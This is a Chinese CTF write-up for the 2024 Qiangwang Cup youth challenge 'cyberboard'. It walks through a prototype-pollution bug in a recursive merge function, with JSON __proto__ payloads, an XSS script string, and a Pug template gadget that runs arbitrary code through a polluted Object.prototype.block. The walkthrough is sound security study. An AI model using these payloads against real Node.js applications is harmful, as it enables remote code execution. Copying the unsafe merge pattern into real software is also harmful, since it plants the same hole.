2024强网杯青少年专项赛 cyberboard
step 1
先在user.js里找到密码登录
const users = [
{ id: 1, username: 'admin', password: "password_you_don't_know", role: 'admin' },
{ id: 2, username: 'guest', password: 'guest123', role: 'user' }
];
step 2
看到合并对象的代码,第一反应就是原型污染
class Message {
static messages = [];
constructor(author) {
this.author = author;
this.timestamp = new Date();
}
static merge(target, source) {
for (let key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) Object.assign(target, { [key]: {} });
this.merge(target[key], source[key]);
} else {
target[key] = source[key]
}
}
}
return target;
}
save(content) {
Message.merge(this, JSON.parse(`{"id":${Message.messages.length + 1},"content": ${content}}`));
Message.messages.push(this);
}
static getAll() {
return this.messages;
}
}
module.exports = Message;
我们先来看看他正常的作用
function merge(target, source) {
// 遍历源对象的所有属性
for (let key in source) {
// 确保属性是源对象本身的,而不是继承来的
if (Object.prototype.hasOwnProperty.call(source, key)) {
// 如果属性值是对象,则递归合并对象
if (typeof source[key] === 'object' && source[key] !== null) {
// 如果目标对象没有该属性,初始化为一个空对象
if (!target[key]) Object.assign(target, { [key]: {} });
// 递归调用 merge 方法
merge(target[key], source[key]);
} else {
// 否则直接赋值
target[key] = source[key];
}
}
}
return target; // 返回合并后的目标对象
}
const target = {
a: 1,
nested: { b: 2 }
};
const source = {
nested: { c: 3 },
d: 4
};
merge(target, source);
console.log(target); // { a: 1, nested: { b: 2, c: 3 }, d: 4 }
我们先来尝试一下旧版本可行的原型污染
// 单独的 merge 函数,用于合并两个对象的属性
function merge(target, source) {
// 遍历源对象的所有属性
for (let key in source) {
// 确保属性是源对象本身的,而不是继承来的
if (Object.prototype.hasOwnProperty.call(source, key)) {
// 如果属性值是对象,则递归合并对象
if (typeof source[key] === 'object' && source[key] !== null) {
// 如果目标对象没有该属性,初始化为一个空对象
if (!target[key]) Object.assign(target, { [key]: {} });
// 递归调用 merge 方法
merge(target[key], source[key]);
} else {
// 否则直接赋值
target[key] = source[key];
}
}
}
return target; // 返回合并后的目标对象
}
let maliciousPayload = {
__proto__: {
polluted: 'Yes, I am A5rZ!'
}
};
let target = {};
merge(target, maliciousPayload);
console.log({}.polluted);
很显然,这在现在的版本中并不可行,在现代JavaScript环境中,由于JavaScript引擎实现了防止原型污染的安全措施,直接使用常规赋值或Object.assign来赋值__proto__、constructor或prototype属性不会修改对象的原型链。但是如果这样呢?
// 单独的 merge 函数,用于合并两个对象的属性
function merge(target, source) {
// 遍历源对象的所有属性
for (let key in source) {
// 确保属性是源对象本身的,而不是继承来的
if (Object.prototype.hasOwnProperty.call(source, key)) {
// 如果属性值是对象,则递归合并对象
if (typeof source[key] === 'object' && source[key] !== null) {
// 如果目标对象没有该属性,初始化为一个空对象
if (!target[key]) Object.assign(target, { [key]: {} });
// 递归调用 merge 方法
merge(target[key], source[key]);
} else {
// 否则直接赋值
target[key] = source[key];
}
}
}
return target; // 返回合并后的目标对象
}
let payload = JSON.parse('{"__proto__": {"polluted": "Yes, I am A5rZ!"}}');
let target = {};
merge({}, payload);
console.log({}.polluted);// Yes, I am A5rZ!
我们继续尝试
// Message 类,用于表示一条消息,并提供保存和获取消息的功能
class Message {
// 静态属性,用于存储所有消息
static messages = [];
// 构造函数,创建一个消息实例,包含作者和时间戳
constructor(author) {
this.author = author; // 消息的作者
this.timestamp = new Date(); // 消息创建时的时间戳
}
// 静态方法,用于合并两个对象的属性,避免覆盖现有属性
static merge(target, source) {
// 遍历源对象的所有属性
for (let key in source) {
// 确保属性是源对象本身的,而不是继承来的
if (Object.prototype.hasOwnProperty.call(source, key)) {
// 如果属性值是对象,则递归合并对象
if (typeof source[key] === 'object' && source[key] !== null) {
// 如果目标对象没有该属性,初始化为一个空对象
if (!target[key]) Object.assign(target, { [key]: {} });
// 递归调用 merge 方法
this.merge(target[key], source[key]);
} else {
// 否则直接赋值
target[key] = source[key];
}
}
}
return target; // 返回合并后的目标对象
}
// 实例方法,用于保存消息内容
save(content) {
// 合并当前实例(this)与新消息内容,使用静态 messages 数组的长度作为消息 ID console.log(JSON.parse(`{"id":${Message.messages.length + 1},"content": ${content}}`))
Message.merge(this, JSON.parse(`{"id":${Message.messages.length + 1},"content": ${content}}`));
// 将当前实例保存到静态 messages 数组中
Message.messages.push(this);
}
// 静态方法,用于获取所有消息
static getAll() {
return this.messages; // 返回存储的所有消息
}
}
const obj = new Message("Author")
obj.save('"data", "__proto__": {"polluted": "Yes, I am A5rZ!"}')
console.log('----------')
console.log(obj.polluted);
这会输出
{
id: 1,
content: 'data',
['__proto__']: { polluted: 'Yes, I am A5rZ!' }
}
-------------------
Yes, I am A5rZ!
还能尝试嵌套
const obj = new Message("Author")
obj.save('"data", "__proto__": {"__proto__": {"polluted": "Yes, I am A5rZ!"}}')
console.log('----------')
console.log(obj.__proto__.__proto__);
D:\wamp64\js\nodejs\node.exe D:\wamp64\js\CTF_try.js
{
id: 1,
content: 'data',
['__proto__']: { ['__proto__']: { polluted: 'Yes, I am A5rZ!' } }
}
----------
[Object: null prototype] { polluted: 'Yes, I am A5rZ!' }
step 3
我们动态调试看看有哪些原形
我们来想想怎么利用,这段代码好像并没有可以污染后执行代码的东西,试试这里
extends layout
block content
if user.role === 'admin'
.tech-card.p-8.mb-8
h2.tech-title.text-2xl.mb-6 Post New Message
form.space-y-4(action="/messages", method="POST")
textarea.tech-input.w-full.p-4.rounded(
name="content"
rows="4"
placeholder="Enter your message"
required
)
button.tech-button.px-6.py-2.rounded(type="submit") Transmit Message
.space-y-4
each message in messages
.message-box.p-6.rounded
p.mb-2= message.content
.text-sm.text-a***ent-color Agent #{message.author} - #{message.timestamp}
else
.tech-card.p-8.text-center
h2.tech-title.text-2xl.mb-4 A***ess Denied
p.text-lg You need admin clearance to a***ess this section.
我们来试试覆盖发件人的name
"data", "author": "A5rZ"
成功!尝试jade的模板注入
"data", "author": "console.log('hacked by a5rz!')"
失败,尝试xss
"data", "author": "</div><script>alert('hacked by a5rz!');</script><div class='text-sm text-a***ent-color'>"
失败
step4
参考
– 时隔好久,终于看见有人发wp了
这道题的利用点在这里,
// 设置模板引擎为 Pug,Pug 会被用于渲染视图
app.set('view engine', 'pug');
// 处理获取消息的请求
exports.getMessages = (req, res) => {
// 检查当前用户是否为管理员
if (req.user.role === 'admin') {
// 如果是管理员,获取所有消息
const messages = Message.getAll();
// 渲染消息页面,并将消息数据传递给前端
res.render('messages', { messages });
} else {
// 如果用户不是管理员,返回403禁止访问的状态,并渲染消息页面
res.status(403).render('messages');
}
};
这里的pug存在一个利用链
const express = require("express");
const pug = require('pug');
const app = express();
app.set('view engine', 'pug');
let messages;
messages = {
"name": "A5rZ"
}
Object.prototype.block = {
"type":"Text",
"line":"console.log(\"hacked by A5rZ\")" // 这会执行任意代码
};
// 路由处理
app.get('/', (req, res) => {
// 渲染 'messages' 视图,并传递 messages 数据
res.render('messages', { messages }); // h1 name is #{messages.user}
});
// 启动服务器
app.listen(3000, () => {
console.log('Server is running on http://localhost:3000');
});